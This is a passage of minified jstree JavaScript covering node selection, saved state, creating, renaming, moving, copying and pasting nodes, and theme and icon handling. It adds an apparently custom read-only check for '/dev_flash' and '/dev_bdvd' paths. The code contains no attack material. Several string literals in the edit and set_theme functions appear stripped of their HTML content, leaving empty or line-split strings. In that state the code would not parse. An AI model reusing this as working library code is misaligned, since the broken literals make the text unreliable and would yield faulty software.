-this.trigger("activate_node",{node:this.get_node(e),event:r})},hover_node:function(e){if(e=this.get_node(e,!0),!e||!e.length||e.children(".jstree-hovered").length)return!1 -var t=this.element.find(".jstree-hovered"),r=this.element -t&&t.length&&this.dehover_node(t),e.children(".jstree-anchor").addClass("jstree-hovered"),this.trigger("hover_node",{node:this.get_node(e)}),setTimeout(function(){r.attr("aria-activedescendant",e[0].id)},0)},dehover_node:function(e){return e=this.get_node(e,!0),e&&e.length&&e.children(".jstree-hovered").length?(e.children(".jstree-anchor").removeClass("jstree-hovered"),void this.trigger("dehover_node",{node:this.get_node(e)})):!1},select_node:function(t,r,i,s){var a,n,o -if(e.isArray(t)){for(t=t.slice(),n=0,o=t.length;o>n;n++)this.select_node(t[n],r,i,s) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(a=this.get_node(t,!0),void(t.state.selected||(t.state.selected=!0,this._data.core.selected.push(t.id),i||(a=this._open_to(t)),a&&a.length&&a.attr("aria-selected",!0).children(".jstree-anchor").addClass("jstree-clicked"),this.trigger("select_node",{node:t,selected:this._data.core.selected,event:s}),r||this.trigger("changed",{action:"select_node",node:t,selected:this._data.core.selected,event:s})))):!1},deselect_node:function(t,r,i){var s,a,n -if(e.isArray(t)){for(t=t.slice(),s=0,a=t.length;a>s;s++)this.deselect_node(t[s],r,i) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(n=this.get_node(t,!0),void(t.state.selected&&(t.state.selected=!1,this._data.core.selected=e.vakata.array_remove_item(this._data.core.selected,t.id),n.length&&n.attr("aria-selected",!1).children(".jstree-anchor").removeClass("jstree-clicked"),this.trigger("deselect_node",{node:t,selected:this._data.core.selected,event:i}),r||this.trigger("changed",{action:"deselect_node",node:t,selected:this._data.core.selected,event:i})))):!1},select_all:function(t){var r,i,s=this._data.core.selected.concat([]) -for(this._data.core.selected=this._model.data[e.jstree.root].children_d.concat(),r=0,i=this._data.core.selected.length;i>r;r++)this._model.data[this._data.core.selected[r]]&&(this._model.data[this._data.core.selected[r]].state.selected=!0) -this.redraw(!0),this.trigger("select_all",{selected:this._data.core.selected}),t||this.trigger("changed",{action:"select_all",selected:this._data.core.selected,old_selection:s})},deselect_all:function(e){var t,r,i=this._data.core.selected.concat([]) -for(t=0,r=this._data.core.selected.length;r>t;t++)this._model.data[this._data.core.selected[t]]&&(this._model.data[this._data.core.selected[t]].state.selected=!1) -this._data.core.selected=[],this.element.find(".jstree-clicked").removeClass("jstree-clicked").parent().attr("aria-selected",!1),this.trigger("deselect_all",{selected:this._data.core.selected,node:i}),e||this.trigger("changed",{action:"deselect_all",selected:this._data.core.selected,old_selection:i})},is_selected:function(t){return t=this.get_node(t),t&&t.id!==e.jstree.root?t.state.selected:!1},get_selected:function(t){return t?e.map(this._data.core.selected,e.proxy(function(e){return this.get_node(e)},this)):this._data.core.selected.slice()},get_top_selected:function(t){var r,i,s,a,n=this.get_selected(!0),o={} -for(r=0,i=n.length;i>r;r++)o[n[r].id]=n[r] -for(r=0,i=n.length;i>r;r++)for(s=0,a=n[r].children_d.length;a>s;s++)o[n[r].children_d[s]]&&delete o[n[r].children_d[s]] -n=[] -for(r in o)o.hasOwnProperty(r)&&n.push(r) -return t?e.map(n,e.proxy(function(e){return this.get_node(e)},this)):n},get_bottom_selected:function(t){var r,i,s=this.get_selected(!0),a=[] -for(r=0,i=s.length;i>r;r++)s[r].children.length||a.push(s[r].id) -return t?e.map(a,e.proxy(function(e){return this.get_node(e)},this)):a},get_state:function(){var t,r={core:{open:[],loaded:[],scroll:{left:this.element.scrollLeft(),top:this.element.scrollTop()},selected:[]}} -for(t in this._model.data)this._model.data.hasOwnProperty(t)&&t!==e.jstree.root&&(this._model.data[t].state.loaded&&this.settings.core.loaded_state&&r.core.loaded.push(t),this._model.data[t].state.opened&&r.core.open.push(t),this._model.data[t].state.selected&&r.core.selected.push(t)) -return r},set_state:function(r,i){if(r){if(r.core&&r.core.selected&&r.core.initial_selection===t&&(r.core.initial_selection=this._data.core.selected.concat([]).sort().join(",")),r.core){var s,a -if(r.core.loaded)return this.settings.core.loaded_state&&e.isArray(r.core.loaded)&&r.core.loaded.length?this._load_nodes(r.core.loaded,function(e){delete r.core.loaded,this.set_state(r,i)}):(delete r.core.loaded,this.set_state(r,i)),!1 -if(r.core.open)return e.isArray(r.core.open)&&r.core.open.length?this._load_nodes(r.core.open,function(e){this.open_node(e,!1,0),delete r.core.open,this.set_state(r,i)}):(delete r.core.open,this.set_state(r,i)),!1 -if(r.core.scroll)return r.core.scroll&&r.core.scroll.left!==t&&this.element.scrollLeft(r.core.scroll.left),r.core.scroll&&r.core.scroll.top!==t&&this.element.scrollTop(r.core.scroll.top),delete r.core.scroll,this.set_state(r,i),!1 -if(r.core.selected)return s=this,(r.core.initial_selection===t||r.core.initial_selection===this._data.core.selected.concat([]).sort().join(","))&&(this.deselect_all(),e.each(r.core.selected,function(e,t){s.select_node(t,!1,!0)})),delete r.core.initial_selection,delete r.core.selected,this.set_state(r,i),!1 -for(a in r)r.hasOwnProperty(a)&&"core"!==a&&-1===e.inArray(a,this.settings.plugins)&&delete r[a] -if(e.isEmptyObject(r.core))return delete r.core,this.set_state(r,i),!1}return e.isEmptyObject(r)?(r=null,i&&i.call(this),this.trigger("set_state"),!1):!0}return!1},refresh:function(t,r){this._data.core.state=r===!0?{}:this.get_state(),r&&e.isFunction(r)&&(this._data.core.state=r.call(this,this._data.core.state)),this._cnt=0,this._model.data={},this._model.data[e.jstree.root]={id:e.jstree.root,parent:null,parents:[],children:[],children_d:[],state:{loaded:!1}},this._data.core.selected=[],this._data.core.last_clicked=null,this._data.core.focused=null -var i=this.get_container_ul()[0].className -t||(this.element.html(""),this.element.attr("aria-activedescendant","j"+this._id+"_loading")),this.load_node(e.jstree.root,function(t,r){r&&(this.get_container_ul()[0].className=i,this._firstChild(this.get_container_ul()[0])&&this.element.attr("aria-activedescendant",this._firstChild(this.get_container_ul()[0]).id),this.set_state(e.extend(!0,{},this._data.core.state),function(){this.trigger("refresh")})),this._data.core.state=null})},refresh_node:function(t){if(t=this.get_node(t),!t||t.id===e.jstree.root)return!1 -var r=[],i=[],s=this._data.core.selected.concat([]) -i.push(t.id),t.state.opened===!0&&r.push(t.id),this.get_node(t,!0).find(".jstree-open").each(function(){i.push(this.id),r.push(this.id)}),this._load_nodes(i,e.proxy(function(e){this.open_node(r,!1,0),this.select_node(s),this.trigger("refresh_node",{node:t,nodes:e})},this),!1,!0)},set_id:function(t,r){if(t=this.get_node(t),!t||t.id===e.jstree.root)return!1 -var i,s,a=this._model.data,n=t.id -for(r=r.toString(),a[t.parent].children[e.inArray(t.id,a[t.parent].children)]=r,i=0,s=t.parents.length;s>i;i++)a[t.parents[i]].children_d[e.inArray(t.id,a[t.parents[i]].children_d)]=r -for(i=0,s=t.children.length;s>i;i++)a[t.children[i]].parent=r -for(i=0,s=t.children_d.length;s>i;i++)a[t.children_d[i]].parents[e.inArray(t.id,a[t.children_d[i]].parents)]=r -return i=e.inArray(t.id,this._data.core.selected),-1!==i&&(this._data.core.selected[i]=r),i=this.get_node(t.id,!0),i&&(i.attr("id",r),this.element.attr("aria-activedescendant")===t.id&&this.element.attr("aria-activedescendant",r)),delete a[t.id],t.id=r,t.li_attr.id=r,a[r]=t,this.trigger("set_id",{node:t,"new":t.id,old:n}),!0},get_text:function(t){return t=this.get_node(t),t&&t.id!==e.jstree.root?t.text:!1},set_text:function(t,r){var i,s -if(e.isArray(t)){for(t=t.slice(),i=0,s=t.length;s>i;i++)this.set_text(t[i],r) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(t.text=r,this.get_node(t,!0).length&&this.redraw_node(t.id),this.trigger("set_text",{obj:t,text:r}),!0):!1},get_json:function(t,r,i){if(t=this.get_node(t||e.jstree.root),!t)return!1 -r&&r.flat&&!i&&(i=[]) -var s,a,n={id:t.id,text:t.text,icon:this.get_icon(t),li_attr:e.extend(!0,{},t.li_attr),a_attr:e.extend(!0,{},t.a_attr),state:{},data:r&&r.no_data?!1:e.extend(!0,e.isArray(t.data)?[]:{},t.data)} -if(r&&r.flat?n.parent=t.parent:n.children=[],r&&r.no_state)delete n.state -else for(s in t.state)t.state.hasOwnProperty(s)&&(n.state[s]=t.state[s]) -if(r&&r.no_li_attr&&delete n.li_attr,r&&r.no_a_attr&&delete n.a_attr,r&&r.no_id&&(delete n.id,n.li_attr&&n.li_attr.id&&delete n.li_attr.id,n.a_attr&&n.a_attr.id&&delete n.a_attr.id),r&&r.flat&&t.id!==e.jstree.root&&i.push(n),!r||!r.no_children)for(s=0,a=t.children.length;a>s;s++)r&&r.flat?this.get_json(t.children[s],r,i):n.children.push(this.get_json(t.children[s],r)) -return r&&r.flat?i:t.id===e.jstree.root?n.children:n},create_node:function(r,i,s,a,n){if(null===r&&(r=e.jstree.root),r=this.get_node(r),!r)return!1 -if(s=s===t?"last":s,!s.toString().match(/^(before|after)$/)&&!n&&!this.is_loaded(r))return this.load_node(r,function(){this.create_node(r,i,s,a,!0)}) -i||(i={text:this.get_string("New node")}),i="string"==typeof i?{text:i}:e.extend(!0,{},i),i.text===t&&(i.text=this.get_string("New node")) -var o,d,c,l -switch(r.id===e.jstree.root&&("before"===s&&(s="first"),"after"===s&&(s="last")),s){case"before":o=this.get_node(r.parent),s=e.inArray(r.id,o.children),r=o -break -case"after":o=this.get_node(r.parent),s=e.inArray(r.id,o.children)+1,r=o -break -case"inside":case"first":s=0 -break -case"last":s=r.children.length -break -default:s||(s=0)}if(s>r.children.length&&(s=r.children.length),i.id||(i.id=!0),!this.check("create_node",i,r,s))return this.settings.core.error.call(this,this._data.core.last_error),!1 -if(i.id===!0&&delete i.id,i=this._parse_model_from_json(i,r.id,r.parents.concat()),!i)return!1 -for(o=this.get_node(i),d=[],d.push(i),d=d.concat(o.children_d),this.trigger("model",{nodes:d,parent:r.id}),r.children_d=r.children_d.concat(d),c=0,l=r.parents.length;l>c;c++)this._model.data[r.parents[c]].children_d=this._model.data[r.parents[c]].children_d.concat(d) -for(i=o,o=[],c=0,l=r.children.length;l>c;c++)o[c>=s?c+1:c]=r.children[c] -return o[s]=i.id,r.children=o,this.redraw_node(r,!0),this.trigger("create_node",{node:this.get_node(i),parent:r.id,position:s}),a&&a.call(this,this.get_node(i)),i.id},rename_node:function(t,r){var i,s,a -if(e.isArray(t)){for(t=t.slice(),i=0,s=t.length;s>i;i++)this.rename_node(t[i],r) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(a=t.text,this.check("rename_node",t,this.get_parent(t),r)?(this.set_text(t,r),this.trigger("rename_node",{node:t,text:r,old:a}),!0):(this.settings.core.error.call(this,this._data.core.last_error),!1)):!1},delete_node:function(t){var r,i,s,a,n,o,d,c,l,h,_,u -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.delete_node(t[r]) -return!0}if(t=this.get_node(t),!t||t.id===e.jstree.root)return!1 -if(s=this.get_node(t.parent),a=e.inArray(t.id,s.children),h=!1,!this.check("delete_node",t,s,a))return this.settings.core.error.call(this,this._data.core.last_error),!1 -for(-1!==a&&(s.children=e.vakata.array_remove(s.children,a)),n=t.children_d.concat([]),n.push(t.id),o=0,d=t.parents.length;d>o;o++)this._model.data[t.parents[o]].children_d=e.vakata.array_filter(this._model.data[t.parents[o]].children_d,function(t){return-1===e.inArray(t,n)}) -for(c=0,l=n.length;l>c;c++)if(this._model.data[n[c]].state.selected){h=!0 -break}for(h&&(this._data.core.selected=e.vakata.array_filter(this._data.core.selected,function(t){return-1===e.inArray(t,n)})),this.trigger("delete_node",{node:t,parent:s.id}),h&&this.trigger("changed",{action:"delete_node",node:t,selected:this._data.core.selected,parent:s.id}),c=0,l=n.length;l>c;c++)delete this._model.data[n[c]] -return-1!==e.inArray(this._data.core.focused,n)&&(this._data.core.focused=null,_=this.element[0].scrollTop,u=this.element[0].scrollLeft,s.id===e.jstree.root?this._model.data[e.jstree.root].children[0]&&this.get_node(this._model.data[e.jstree.root].children[0],!0).children(".jstree-anchor").focus():this.get_node(s,!0).children(".jstree-anchor").focus(),this.element[0].scrollTop=_,this.element[0].scrollLeft=u),this.redraw_node(s,!0),!0},check:function(t,r,i,s,a){r=r&&r.id?r:this.get_node(r),i=i&&i.id?i:this.get_node(i) -var n=t.match(/^move_node|copy_node|create_node$/i)?i:r,o=this.settings.core.check_callback -if("move_node"===t||"copy_node"===t){if(!(a&&a.is_multi||"move_node"!==t||e.inArray(r.id,i.children)!==s))return this._data.core.last_error={error:"check",plugin:"core",id:"core_08",reason:"Moving node to its current position",data:JSON.stringify({chk:t,pos:s,obj:r&&r.id?r.id:!1,par:i&&i.id?i.id:!1})},!1 -if(!(a&&a.is_multi||r.id!==i.id&&("move_node"!==t||e.inArray(r.id,i.children)!==s)&&-1===e.inArray(i.id,r.children_d)))return this._data.core.last_error={error:"check",plugin:"core",id:"core_01",reason:"Moving parent inside child",data:JSON.stringify({chk:t,pos:s,obj:r&&r.id?r.id:!1,par:i&&i.id?i.id:!1})},!1}return n&&n.data&&(n=n.data),n&&n.functions&&(n.functions[t]===!1||n.functions[t]===!0)?(n.functions[t]===!1&&(this._data.core.last_error={error:"check",plugin:"core",id:"core_02",reason:"Node data prevents function: "+t,data:JSON.stringify({chk:t,pos:s,obj:r&&r.id?r.id:!1,par:i&&i.id?i.id:!1})}),n.functions[t]):o===!1||e.isFunction(o)&&o.call(this,t,r,i,s,a)===!1||o&&o[t]===!1?(this._data.core.last_error={error:"check",plugin:"core",id:"core_03",reason:"User config for core.check_callback prevents function: "+t,data:JSON.stringify({chk:t,pos:s,obj:r&&r.id?r.id:!1,par:i&&i.id?i.id:!1})},!1):!0},last_error:function(){return this._data.core.last_error},move_node:function(r,i,s,a,n,o,d){var c,l,h,_,u,g,f,p,m,v,j,y,k,x -if(i=this.get_node(i),s=s===t?0:s,!i)return!1 -if(!s.toString().match(/^(before|after)$/)&&!n&&!this.is_loaded(i))return this.load_node(i,function(){this.move_node(r,i,s,a,!0,!1,d)}) -if(e.isArray(r)){if(1!==r.length){for(c=0,l=r.length;l>c;c++)(m=this.move_node(r[c],i,s,a,n,!1,d))&&(i=m,s="after") -return this.redraw(),!0}r=r[0]}if(r=r&&r.id?r:this.get_node(r),!r||r.id===e.jstree.root)return!1 -if(h=(r.parent||e.jstree.root).toString(),u=s.toString().match(/^(before|after)$/)&&i.id!==e.jstree.root?this.get_node(i.parent):i,g=d?d:this._model.data[r.id]?this:e.jstree.reference(r.id),f=!g||!g._id||this._id!==g._id,_=g&&g._id&&h&&g._model.data[h]&&g._model.data[h].children?e.inArray(r.id,g._model.data[h].children):-1,g&&g._id&&(r=g._model.data[r.id]),f)return(m=this.copy_node(r,i,s,a,n,!1,d))?(g&&g.delete_node(r),m):!1 -switch(i.id===e.jstree.root&&("before"===s&&(s="first"),"after"===s&&(s="last")),s){case"before":s=e.inArray(i.id,u.children) -break -case"after":s=e.inArray(i.id,u.children)+1 -break -case"inside":case"first":s=0 -break -case"last":s=u.children.length -break -default:s||(s=0)}if(s>u.children.length&&(s=u.children.length),!this.check("move_node",r,u,s,{core:!0,origin:d,is_multi:g&&g._id&&g._id!==this._id,is_foreign:!g||!g._id}))return this.settings.core.error.call(this,this._data.core.last_error),!1 -if(r.parent===u.id){for(p=u.children.concat(),m=e.inArray(r.id,p),-1!==m&&(p=e.vakata.array_remove(p,m),s>m&&s--),m=[],v=0,j=p.length;j>v;v++)m[v>=s?v+1:v]=p[v] -m[s]=r.id,u.children=m,this._node_changed(u.id),this.redraw(u.id===e.jstree.root)}else{for(m=r.children_d.concat(),m.push(r.id),v=0,j=r.parents.length;j>v;v++){for(p=[],x=g._model.data[r.parents[v]].children_d,y=0,k=x.length;k>y;y++)-1===e.inArray(x[y],m)&&p.push(x[y]) -g._model.data[r.parents[v]].children_d=p}for(g._model.data[h].children=e.vakata.array_remove_item(g._model.data[h].children,r.id),v=0,j=u.parents.length;j>v;v++)this._model.data[u.parents[v]].children_d=this._model.data[u.parents[v]].children_d.concat(m) -for(p=[],v=0,j=u.children.length;j>v;v++)p[v>=s?v+1:v]=u.children[v] -for(p[s]=r.id,u.children=p,u.children_d.push(r.id),u.children_d=u.children_d.concat(r.children_d),r.parent=u.id,m=u.parents.concat(),m.unshift(u.id),x=r.parents.length,r.parents=m,m=m.concat(),v=0,j=r.children_d.length;j>v;v++)this._model.data[r.children_d[v]].parents=this._model.data[r.children_d[v]].parents.slice(0,-1*x),Array.prototype.push.apply(this._model.data[r.children_d[v]].parents,m);(h===e.jstree.root||u.id===e.jstree.root)&&(this._model.force_full_redraw=!0),this._model.force_full_redraw||(this._node_changed(h),this._node_changed(u.id)),o||this.redraw()}return a&&a.call(this,r,u,s),this.trigger("move_node",{node:r,parent:u.id,position:s,old_parent:h,old_position:_,is_multi:g&&g._id&&g._id!==this._id,is_foreign:!g||!g._id,old_instance:g,new_instance:this}),r.id},copy_node:function(r,i,s,a,n,o,d){var c,l,h,_,u,g,f,p,m,v,j -if(i=this.get_node(i),s=s===t?0:s,!i)return!1 -if(!s.toString().match(/^(before|after)$/)&&!n&&!this.is_loaded(i))return this.load_node(i,function(){this.copy_node(r,i,s,a,!0,!1,d)}) -if(e.isArray(r)){if(1!==r.length){for(c=0,l=r.length;l>c;c++)(_=this.copy_node(r[c],i,s,a,n,!0,d))&&(i=_,s="after") -return this.redraw(),!0}r=r[0]}if(r=r&&r.id?r:this.get_node(r),!r||r.id===e.jstree.root)return!1 -switch(p=(r.parent||e.jstree.root).toString(),m=s.toString().match(/^(before|after)$/)&&i.id!==e.jstree.root?this.get_node(i.parent):i,v=d?d:this._model.data[r.id]?this:e.jstree.reference(r.id),j=!v||!v._id||this._id!==v._id,v&&v._id&&(r=v._model.data[r.id]),i.id===e.jstree.root&&("before"===s&&(s="first"),"after"===s&&(s="last")),s){case"before":s=e.inArray(i.id,m.children) -break -case"after":s=e.inArray(i.id,m.children)+1 -break -case"inside":case"first":s=0 -break -case"last":s=m.children.length -break -default:s||(s=0)}if(s>m.children.length&&(s=m.children.length),!this.check("copy_node",r,m,s,{core:!0,origin:d,is_multi:v&&v._id&&v._id!==this._id,is_foreign:!v||!v._id}))return this.settings.core.error.call(this,this._data.core.last_error),!1 -if(f=v?v.get_json(r,{no_id:!0,no_data:!0,no_state:!0}):r,!f)return!1 -if(f.id===!0&&delete f.id,f=this._parse_model_from_json(f,m.id,m.parents.concat()),!f)return!1 -for(_=this.get_node(f),r&&r.state&&r.state.loaded===!1&&(_.state.loaded=!1),h=[],h.push(f),h=h.concat(_.children_d),this.trigger("model",{nodes:h,parent:m.id}),u=0,g=m.parents.length;g>u;u++)this._model.data[m.parents[u]].children_d=this._model.data[m.parents[u]].children_d.concat(h) -for(h=[],u=0,g=m.children.length;g>u;u++)h[u>=s?u+1:u]=m.children[u] -return h[s]=_.id,m.children=h,m.children_d.push(_.id),m.children_d=m.children_d.concat(_.children_d),m.id===e.jstree.root&&(this._model.force_full_redraw=!0),this._model.force_full_redraw||this._node_changed(m.id),o||this.redraw(m.id===e.jstree.root),a&&a.call(this,_,m,s),this.trigger("copy_node",{node:_,original:r,parent:m.id,position:s,old_parent:p,old_position:v&&v._id&&p&&v._model.data[p]&&v._model.data[p].children?e.inArray(r.id,v._model.data[p].children):-1,is_multi:v&&v._id&&v._id!==this._id,is_foreign:!v||!v._id,old_instance:v,new_instance:this}),_.id},cut:function(t){if(t||(t=this._data.core.selected.concat()),e.isArray(t)||(t=[t]),!t.length)return!1 -var r,n,o,d=[] -for(n=0,o=t.length;o>n;n++)r=this.get_node(t[n]),r&&r.id&&r.id!==e.jstree.root&&d.push(r) -return d.length?(i=d,a=this,s="move_node",void this.trigger("cut",{node:t})):!1},copy:function(t){if(t||(t=this._data.core.selected.concat()),e.isArray(t)||(t=[t]),!t.length)return!1 -var r,n,o,d=[] -for(n=0,o=t.length;o>n;n++)r=this.get_node(t[n]),r&&r.id&&r.id!==e.jstree.root&&d.push(r) -return d.length?(i=d,a=this,s="copy_node",void this.trigger("copy",{node:t})):!1},get_buffer:function(){return{mode:s,node:i,inst:a}},can_paste:function(){return s!==!1&&i!==!1},get_checked_nodes:function(){return e.grep(this.get_checked(!0),function(e,t){return e!==!1})},get_fullpath:function(t){t=this.get_node(t) -var r=this,i="" -if(t&&t.id!==e.jstree.root){for(var s=t,a=[];s.parent;)s=this.get_node(s.parent),a.push(s.id) -e.each(a.reverse(),function(t,s){i+=s!==e.jstree.root?r.get_node(s).text+"/":""})}return i+=t.text?t.text:""},is_readonly:function(e){var t=this.get_fullpath(e) -return t.startsWith("/dev_flash")||t.startsWith("/dev_bdvd")},paste:function(e,t){return e=this.get_node(e),e&&s&&s.match(/^(copy_node|move_node)$/)&&i?(this[s](i,e,t,!1,!1,!1,a)&&this.trigger("paste",{parent:e.id,node:i,mode:s}),i=!1,s=!1,void(a=!1)):!1},clear_buffer:function(){i=!1,s=!1,a=!1,this.trigger("clear_buffer")},edit:function(t,r,i){var s,a,n,o,c,l,h,_,u,g=!1 -return(t=this.get_node(t))?this.check("edit",t,this.get_parent(t))?(u=t,r="string"==typeof r?r:t.text,this.set_text(t,""),t=this._open_to(t),u.text=r,s=this._data.core.rtl,a=this.element.width(),this._data.core.focused=u.id,n=t.children(".jstree-anchor").focus(),o=e(""),c=r,l=e("
    ",{css:{position:"absolute",top:"-200px",left:s?"0px":"-1000px",visibility:"hidden"}}).appendTo(d.body),h=e("",{value:c,"class":"jstree-rename-input",css:{padding:"0",border:"1px solid silver","box-sizing":"border-box",display:"inline-block",height:this._data.core.li_height+"px",lineHeight:this._data.core.li_height+"px",width:"150px"},blur:e.proxy(function(r){r.stopImmediatePropagation(),r.preventDefault() -var s,a=o.children(".jstree-rename-input"),d=a.val(),_=this.settings.core.force_text,f=/^[^\\/:\*\#~!?" <>\|]+$/,p=/^\./,m=/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i -return d.length>255||f.test(d)===!1||p.test(d)===!0||m.test(d)===!0?!1:(""===d&&(d=c),l.remove(),o.replaceWith(n),o.remove(),c=_?c:e("
    ").append(e.parseHTML(c)).html(),t=this.get_node(t),this.set_text(t,c),s=!!this.rename_node(t,_?e("
    ").text(d).text():e("
    ").append(e.parseHTML(d)).html()),s||this.set_text(t,c),this._data.core.focused=u.id,setTimeout(e.proxy(function(){var e=this.get_node(u.id,!0) -e.length&&(this._data.core.focused=u.id,e.children(".jstree-anchor").focus())},this),0),i&&i.call(this,u,s,g),void(h=null))},this),keydown:function(e){var t=e.which -27===t&&(g=!0,this.value=c),(27===t||13===t||37===t||38===t||39===t||40===t||32===t)&&e.stopImmediatePropagation(),(27===t||13===t)&&(e.preventDefault(),this.blur())},click:function(e){e.stopImmediatePropagation()},mousedown:function(e){e.stopImmediatePropagation()},keyup:function(e){h.width(Math.min(l.text("pW"+this.value).width(),a))},keypress:function(e){return 13===e.which?!1:void 0}}),_={fontFamily:n.css("fontFamily")||"",fontSize:n.css("fontSize")||"",fontWeight:n.css("fontWeight")||"",fontStyle:n.css("fontStyle")||"",fontStretch:n.css("fontStretch")||"",fontVariant:n.css("fontVariant")||"",letterSpacing:n.css("letterSpacing")||"",wordSpacing:n.css("wordSpacing")||""},o.attr("class",n.attr("class")).append(n.contents().clone()).append(h),n.replaceWith(o),l.css(_),h.css(_).width(Math.min(l.text("pW"+h[0].value).width(),a))[0].select(),void e(d).one("mousedown.jstree touchstart.jstree dnd_start.vakata",function(t){h&&t.target!==h&&e(h).blur()})):(this.settings.core.error.call(this,this._data.core.last_error),!1):!1},set_theme:function(t,r){if(!t)return!1 -if(r===!0){var i=this.settings.core.themes.dir -i||(i=e.jstree.path+"/themes"),r=i+"/"+t+"/style.css"}r&&-1===e.inArray(r,n)&&(e("head").append(''),n.push(r)),this._data.core.themes.name&&this.element.removeClass("jstree-"+this._data.core.themes.name),this._data.core.themes.name=t,this.element.addClass("jstree-"+t),this.element[this.settings.core.themes.responsive?"addClass":"removeClass"]("jstree-"+t+"-responsive"),this.trigger("set_theme",{theme:t})},get_theme:function(){return this._data.core.themes.name},set_theme_variant:function(e){this._data.core.themes.variant&&this.element.removeClass("jstree-"+this._data.core.themes.name+"-"+this._data.core.themes.variant),this._data.core.themes.variant=e,e&&this.element.addClass("jstree-"+this._data.core.themes.name+"-"+this._data.core.themes.variant)},get_theme_variant:function(){return this._data.core.themes.variant},show_stripes:function(){this._data.core.themes.stripes=!0,this.get_container_ul().addClass("jstree-striped"),this.trigger("show_stripes")},hide_stripes:function(){this._data.core.themes.stripes=!1,this.get_container_ul().removeClass("jstree-striped"),this.trigger("hide_stripes")},toggle_stripes:function(){this._data.core.themes.stripes?this.hide_stripes():this.show_stripes()},show_dots:function(){this._data.core.themes.dots=!0,this.get_container_ul().removeClass("jstree-no-dots"),this.trigger("show_dots")},hide_dots:function(){this._data.core.themes.dots=!1,this.get_container_ul().addClass("jstree-no-dots"),this.trigger("hide_dots")},toggle_dots:function(){this._data.core.themes.dots?this.hide_dots():this.show_dots()},show_icons:function(){this._data.core.themes.icons=!0,this.get_container_ul().removeClass("jstree-no-icons"),this.trigger("show_icons")},hide_icons:function(){this._data.core.themes.icons=!1,this.get_container_ul().addClass("jstree-no-icons"),this.trigger("hide_icons")},toggle_icons:function(){this._data.core.themes.icons?this.hide_icons():this.show_icons()},show_ellipsis:function(){this._data.core.themes.ellipsis=!0,this.get_container_ul().addClass("jstree-ellipsis"),this.trigger("show_ellipsis")},hide_ellipsis:function(){this._data.core.themes.ellipsis=!1,this.get_container_ul().removeClass("jstree-ellipsis"),this.trigger("hide_ellipsis")},toggle_ellipsis:function(){this._data.core.themes.ellipsis?this.hide_ellipsis():this.show_ellipsis()},set_icon:function(r,i){var s,a,n,o -if(e.isArray(r)){for(r=r.slice(),s=0,a=r.length;a>s;s++)this.set_icon(r[s],i) -return!0}return r=this.get_node(r),r&&r.id!==e.jstree.root?(o=r.icon,r.icon=i===!0||null===i||i===t||""===i?!0:i,n=this.get_node(r,!0).children(".jstree-anchor").children(".jstree-themeicon"),i===!1?(n.removeClass("jstree-themeicon-custom "+o).css("background","").removeAttr("rel"),this.hide_icon(r)):i===!0||null===i||i===t||""===i?(n.removeClass("jstree-themeicon-custom "+o).css("background","").removeAttr("rel"),o===!1&&this.show_icon(r)):-1===i.indexOf("/")&&-1===i.indexOf(".")?(n.removeClass(o).css("background",""),n.addClass(i+" jstree-themeicon-custom").attr("rel",i),o===!1&&this.show_icon(r)):(n.removeClass(o).css("background",""),n.addClass("jstree-themeicon-custom").css("background","url('"+i+"') center center no-repeat").attr("rel",i),o===!1&&this.show_icon(r)),!0):!1},get_icon:function(t){return t=this.get_node(t),t&&t.id!==e.jstree.root?t.icon:!1},hide_icon:function(t){var r,i -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.hide_icon(t[r]) -return!0}return t=this.get_node(t),t&&t!==e.jstree.root?(t.icon=!1,this.get_node(t,!0).children(".jstree-anchor").children(".jstree-themeicon").addClass("jstree-themeicon-hidden"),!0):!1},show_icon:function(t){var r,i,s -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.show_icon(t[r]) -return!0}return t=this.get_node(t),t&&t!==e.jstree.root?(s=this.get_node(t,!0),t.icon=s.length?s.children(".jstree-anchor").children(".jstree-themeicon").attr("rel"):!0,t.icon||(t.icon=!0),s.children(".jstree-anchor").children(".jstree-themeicon").removeClass("jstree-themeicon-hidden"),!0):!1}},e.vakata={},e.vakata.attributes=function(t,r){t=e(t)[0] -var i=r?{}:[] -return t&&t.attributes&&e.each(t.attributes,function(t,s){-1===e.inArray(s.name.toLowerCase(),["style","contenteditable","hasfocus","tabindex"])&&null!==s.value&&""!==e.trim(s.value)&&(r?i[s.name]=s.value:i.push(s.name))}),i},e.vakata.array_unique=function(e){var r,i,s=[],a={} -for(r=0,i=e.length;i>r;r++)a[e[r]]===t&&(s.push(e[r]),a[e[r]]=!0) -return s},e.vakata.array_remove=function(e,t){return e.splice(t,1),e},e.vakata.array_remove_item=function(t,r){var i=e.inArray(r,t) -return-1!==i?e.vakata.array_remove(t,i):t},e.vakata.array_filter=function(e,t,r,i,s){if(e.filter)return e.filter(t,r) -i=[] -for(s in e)~~s+""==s+""&&s>=0&&t.call(r,e[s],+s,e)&&i.push(e[s]) -return i},e.jstree.plugins.changed=function(e,t){var r=[] -this.trigger=function(e,i){var s,a -if(i||(i={}),"changed"===e.replace(".jstree","")){i.changed={selected:[],deselected:[]} -var n={} -for(s=0,a=r.length;a>s;s++)n[r[s]]=1 -for(s=0,a=i.selected.length;a>s;s++)n[i.selected[s]]?n[i.selected[s]]=2:i.changed.selected.push(i.selected[s]) -for(s=0,a=r.length;a>s;s++)1===n[r[s]]&&i.changed.deselected.push(r[s]) -r=i.selected.slice()}t.trigger.call(this,e,i)},this.refresh=function(e,i){return r=[],t.refresh.apply(this,arguments)}} -var h=d.createElement("I") -h.className="jstree-icon 